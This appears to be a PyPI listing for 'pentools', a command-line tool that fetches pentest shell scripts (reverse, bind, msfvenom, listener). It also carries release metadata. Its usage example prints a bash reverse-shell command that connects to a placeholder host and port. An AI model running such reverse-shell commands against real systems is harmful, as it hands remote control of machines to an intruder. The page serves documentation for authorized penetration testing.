CLI Tool for interacting with Pen Tools API.
A command line interface tool for interacting with Pen Tools API. Quickly retrieve and format scripts using a simple set of commands.
Installation
The package requires Python 3.7 or higher.
Install latest version from PyPI: pip install pentools
Resources
Usage
Retrieve the list of scripts based on specified category (leave blank to see all).
pentools list
output:
Available types
0. rev
1. bind
2. msf_venom
3. listener
Add the -f flag to see available scripts.
pentools list rev -f
output:
Available scripts and types
0. rev
Shell session established on a connection that is initiated from a remote machine.
0. bash_i [id: 1]('linux', 'mac')
1. bash_196 [id: 2]('linux', 'mac')
2. bash_read_line [id: 3]('linux', 'mac')
3. Bash_5 [id: 4]('linux', 'mac')
...
Retrieve and format a specific script by id.
pentools script -i 1 -ho example.ip -p 12345 -s bin/bash
output:
---------------(code)---------------
bin/bash -i >& /dev/tcp/example.ip/12345 0>&1
-------------(end code)-------------
Metadata
Release files for pentools 0.0.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| pentools-0.0.1.tar.gz | 4.4 kB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| pentools-0.0.1-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 11.6 kB
Release files / pentools-0.0.1.tar.gz
| Download URL | pentools-0.0.1.tar.gz |
|---|---|
| Size | 4.4 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
762af689ae03947975dc8af68680078aa793606736af2474a5d30798d28ce225
|
|
BLAKE2b-256 checksum How to use checksums |
da175ae59a1372ff4e2da8569fcc9fa71fa9b15a38fc61bf64b7b5a88996780f
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/47.3.1 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.6
|
Release files / pentools-0.0.1-py3-none-any.whl
| Download URL | pentools-0.0.1-py3-none-any.whl |
|---|---|
| Size | 7.3 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
6354e951ebdc76efcd13670319d02865a658e7df9b1db8602d4a7f848c41e7d0
|
|
BLAKE2b-256 checksum How to use checksums |
88f056903cefd9abce1dcde9b17f1a6581f7fc75812ee28e860da90bf2382281
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/47.3.1 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.6
|